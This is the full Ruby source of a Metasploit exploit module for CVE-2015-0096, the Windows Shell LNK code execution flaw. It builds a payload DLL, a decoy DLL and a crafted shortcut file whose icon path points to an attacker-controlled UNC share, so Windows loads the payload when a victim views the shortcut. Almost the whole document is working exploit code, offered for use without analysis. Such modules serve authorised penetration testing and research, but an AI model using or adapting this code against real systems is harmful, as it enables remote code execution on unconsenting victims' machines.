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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE attr_accessor :dll_base_name attr_accessor :exploit_dll_base_name def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates the required files to exploit the vulnerability. They must be uploaded to an UNC path accessible by the target. This module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed. }, 'Author' => [ 'Michael Heerklotz', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0096'], ['MSB', 'MS15-020'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ ['Automatic', { }] ], 'DisclosureDate' => 'Mar 10 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']), OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']), OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']), ], self.class) end def smb_host "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\" end def exploit_dll_filename name_length = 257 - (smb_host.length + 4 + 2) self.dll_base_name = dll_base_name || rand_text_alpha(1) self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length) "#{dll_base_name} #{exploit_dll_base_name}.dll" end def dll_filename self.dll_base_name = dll_base_name || rand_text_alpha(1) "#{dll_base_name}.dll" end def create_exploit_file(file_name, data) unless ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end path = File.join(Msf::Config.local_directory, file_name) full_path = ::File.expand_path(path) File.open(full_path, 'wb') { |fd| fd.write(data) } full_path end def dll_create(data) full_path = create_exploit_file(dll_filename, data) print_good "DLL with payload stored at #{full_path}" end def exploit_dll_create(data) full_path = create_exploit_file(exploit_dll_filename, data) print_good "Fake dll to exploit stored at #{full_path}" end def exploit dll = generate_payload_dll dll_create(dll) exploit_dll_create(dll) lnk = generate_link("#{smb_host}#{exploit_dll_filename}") file_create(lnk) end # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H' def generate_link(unc) uni_unc = unc.unpack('C*').pack('v*') path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') ret end end Source